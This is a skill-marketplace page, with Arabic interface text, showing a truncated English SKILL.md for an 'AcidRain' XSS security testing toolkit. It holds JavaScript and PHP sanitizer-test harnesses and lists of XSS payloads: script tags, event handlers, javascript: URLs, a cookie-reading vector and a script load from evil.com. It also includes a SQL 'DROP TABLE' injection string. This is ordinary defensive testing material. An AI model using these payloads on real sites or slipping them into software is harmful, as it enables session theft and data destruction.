acidrain-security-testing-toolkit
Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning
معلومات المصدر
- المستودع
- reason-machines/security-skills
- آخر نشاط في المصدر
- ٤ أغسطس ٢٠٢٦ في ٠٩:٢٧
- لغة SKILL.md المكتشفة
- الإنجليزية
- النجوم
- ١٢
- التفرعات
- ١
خيارات التثبيت
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
مراجعة ملفات المصدر
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
عرض SKILL.md
SKILL.md
تعليمات المصدر · معاينة للقراءة فقط- name
- acidrain-security-testing-toolkit
- description
- Use AcidRain's XSS analysis resources, JavaScript utilities, and PHP injection testing samples for authorized web security research and learning
- triggers
- ["test XSS vulnerabilities with AcidRain","run AcidRain security scripts","analyze cross-site scripting with AcidRain","use AcidRain injection testing samples","set up AcidRain security toolkit","demonstrate XSS patterns with AcidRain","configure AcidRain for security testing","create XSS test cases using AcidRain"]
# AcidRain Security Testing Toolkit
> Skill by [ara.so](https://ara.so) — Security Skills collection.
AcidRain is a web-oriented collection of XSS analysis resources, JavaScript utilities, PHP examples, and injection testing samples designed for authorized security testing and hands-on learning. This toolkit provides browser-side and server-side scripts for exploring cross-site scripting behavior, input handling, and output processing in controlled environments.
## Installation
Clone the repository and navigate to the working directory:
```bash
git clone https://github.com/henry-lewiskpp1107/acidrain-security-script-hub.git
cd acidrain-security-script-hub
```
Inspect the directory structure to understand available resources:
```bash
ls -la scripts/
```
Expected structure:
```
acidrain-security-script-hub/
├── scripts/
│ ├── javascript/ # Client-side security testing scripts
│ ├── php/ # Server-side PHP examples
│ └── xss/ # XSS-specific resources
├── configs/ # Configuration files
├── examples/ # Working examples
├── docs/ # Documentation
├── LICENSE
└── README.md
```
## Key Components
### JavaScript Utilities
Client-side scripts for browser-based security testing. Place scripts in test environments or controlled pages:
```javascript
// Example: Basic XSS payload tester
function testXSSPayload(input, targetElement) {
try {
const sanitized = DOMPurify.sanitize(input);
document.querySelector(targetElement).innerHTML = sanitized;
console.log('Payload rendered:', input);
console.log('Sanitized output:', sanitized);
} catch (error) {
console.error('XSS test error:', error);
}
}
// Test reflection in a controlled environment
const testPayloads = [
'<script>alert("XSS")</script>',
'<img src=x onerror="alert(1)">',
'"><svg/onload=alert(1)>',
'javascript:alert(document.cookie)'
];
testPayloads.forEach(payload => {
console.log('Testing:', payload);
testXSSPayload(payload, '#test-target');
});
```
### PHP Security Research Scripts
Server-side examples for testing input validation and output encoding:
```php
<?php
// Example: Input sanitization tester
function testInputSanitization($input, $method = 'htmlspecialchars') {
echo "Original input: " . $input . "\n";
switch ($method) {
case 'htmlspecialchars':
$output = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
break;
case 'strip_tags':
$output = strip_tags($input);
break;
case 'filter_var':
$output = filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
break;
default:
$output = $input;
}
echo "Sanitized output ($method): " . $output . "\n";
echo "Encoding applied: " . ($output !== $input ? 'Yes' : 'No') . "\n\n";
return $output;
}
// Test various XSS payloads
$testPayloads = [
'<script>alert("XSS")</script>',
'"><img src=x onerror=alert(1)>',
"'; DROP TABLE users;--",
'<svg/onload=alert(document.domain)>'
];
foreach ($testPayloads as $payload) {
testInputSanitization($payload, 'htmlspecialchars');
}
?>
```
### XSS Injection Testing Samples
Common XSS patterns for controlled testing:
```javascript
// Example: XSS vector library for authorized testing
const XSSVectors = {
// Basic script injection
basic: [
'<script>alert(1)</script>',
'<script>console.log(document.cookie)</script>',
'<script src="http://evil.com/xss.js"></script>'
],
// Event handler injection
eventHandlers: [
'<img src=x onerror=alert(1)>',
'<body onload=alert(1)>',
'<svg/onload=alert(1)>',
'<input onfocus=alert(1) autofocus>'
],
// Protocol-based
protocol: [
'<a href="javascript:alert(1)">Click</a>',
'<iframe src="javascript:alert(1)"></iframe>',
'<object data="javascript:alert(1)">'
],
// Context-breaking
contextBreak: [
'"><script>alert(1)</script>',
'\'-alert(1)-\'',
'</script><script>alert(1)</script>',
'`;alert(1);//'
]
};
// Test function for authorized environments
function runAuthorizedXSSTest(vectors, targetURL) {
if (!confirm('Run tests on ' + targetURL + '? Ensure authorization.')) {
return;
}
vectors.forEach((vector, index) => {
console.log(`Test ${index + 1}:`, vector);
// Implement actual testing logic for authorized target
// Store results for analysis
});
}
```
## Configuration
### Environment Setup
Create a configuration file for test environments:
```javascript
// config/test-environment.js
const TestConfig = {
// Target configuration
targetURL: process.env.TEST_TARGET_URL || 'http://localhost:8080',
// Authentication (if required)
authToken: process.env.AUTH_TOKEN,
// Test parameters
maxPayloadLength: 1000,
timeoutMs: 5000,
// Logging
verboseOutput: process.env.VERBOSE === 'true',
logFile: process.env.LOG_FILE || './logs/xss-tests.log',
// Safety checks
requireAuthorization: true,
allowedDomains: [
'localhost',
'127.0.0.1',
'test.local'
]
};
module.exports = TestConfig;
```
### PHP Configuration
```php
<?php
// config/security-test-config.php
return [
'test_mode' => getenv('TEST_MODE') === 'true',
'target_url' => getenv('TEST_TARGET_URL') ?: 'http://localhost',
'auth_token' => getenv('AUTH_TOKEN'),
// Test settings
'max_payloads' => 100,
'timeout' => 30,
// Output settings
'log_file' => getenv('LOG_FILE') ?: './logs/php-security-tests.log',
'verbose' => getenv('VERBOSE') === 'true',
// Safety
'require_authorization' => true,
'allowed_ips' => ['127.0.0.1', '::1']
];
?>
```
## Common Patterns
### Pattern 1: Automated Payload Testing
```javascript
// scripts/javascript/automated-xss-tester.js
class XSSTester {
constructor(config) {
this.config = config;
this.results = [];
}
async testPayload(payload, context) {
const testCase = {
payload,
context,
timestamp: new Date().toISOString(),
blocked: false,
sanitized: false
};
try {
// Create isolated test frame
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
const iframeDoc = iframe.contentDocument;
const testDiv = iframeDoc.createElement('div');
testDiv.innerHTML = payload;
iframeDoc.body.appendChild(testDiv);
// Check if scripts executed
testCase.blocked = !iframeDoc.querySelector('script');
testCase.sanitized = testDiv.innerHTML !== payload;
// Clean up
document.body.removeChild(iframe);
} catch (error) {
testCase.error = error.message;
testCase.blocked = true;
}
this.results.push(testCase);
return testCase;
}
async runTestSuite(payloads) {
console.log(`Running ${payloads.length} tests...`);
for (const payload of payloads) {
const result = await this.testPayload(payload, 'innerHTML');
if (this.config.verboseOutput) {
console.log('Result:', result);
}
}
return this.generateReport();
}
generateReport() {
const summary = {
total: this.results.length,
blocked: this.results.filter(r => r.blocked).length,
sanitized: this.results.filter(r => r.sanitized).length,
successful: this.results.filter(r => !r.blocked && !r.sanitized).length
};
return {
summary,
details: this.results
};
}
}
// Usage
const tester = new XSSTester({
verboseOutput: true
});
const payloads = [
'<script>alert(1)</script>',
'<img src=x onerror=alert(1)>',
'<svg/onload=alert(1)>'
];
tester.runTestSuite(payloads).then(report => {
console.log('Test Report:', report);
});
```
### Pattern 2: PHP Input Validation Testing
```php
<?php
// scripts/php/input-validation-tester.php
class InputValidationTester {
private $results = [];
public function testValidation($input, $validators) {
$testResult = [
'input' => $input,
'timestamp' => date('Y-m-d H:i:s'),
'validators' => []
];
foreach ($validators as $name => $validator) {
$output = $validator($input);
$testResult['validators'][$name] = [
'output' => $output,
'modified' => $output !== $input,
'length_change' => strlen($output) - strlen($input)
];
}
$this->results[] = $testResult;
return $testResult;
}
public function generateReport() {
return [
'total_tests' => count($this->results),
'results' => $this->results
];
}
}
// Define validators
$validators = [
'htmlspecialchars' => function($input) {
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
},
'strip_tags' => function($input) {
return strip_tags($input);
},
'filter_sanitize' => function($input) {
return filter_var($input, FILTER_SANITIZE_FULL_SPECIAL_CHARS);
},
'preg_replace_script' => function($input) {
return preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $input);
}
];
// Run tests
$tester = new InputValidationTester();
$testPayloads = [
'<script>alert("XSS")</script>',
'"><img src=x onerror=alert(1)>',
'<svg/onload=alert(1)>',
"'; DROP TABLE users;--"
];
foreach ($testPayloads as $payload) {
$result = $tester->testValidation($payload, $validators);
echo "Testing: " . $payload . "\n";
print_r($result);
echo "\n";
}
$report = $tester->generateReport();
echo json_encode($report, JSON_PRETTY_PRINT);
?>
```
### Pattern 3: Context-Aware XSS Testing
```javascript
// scripts/javascript/context-aware-tester.js
const ContextAwareXSS = {
contexts: {
html: {
name: 'HTML Context',
payloads: [
'<script>alert(1)</script>',
عرض على GitHubملف SKILL.md هذا كبير جدا، لذلك يعرض SkillsMP القسم الاول فقط هنا. عرض على GitHub
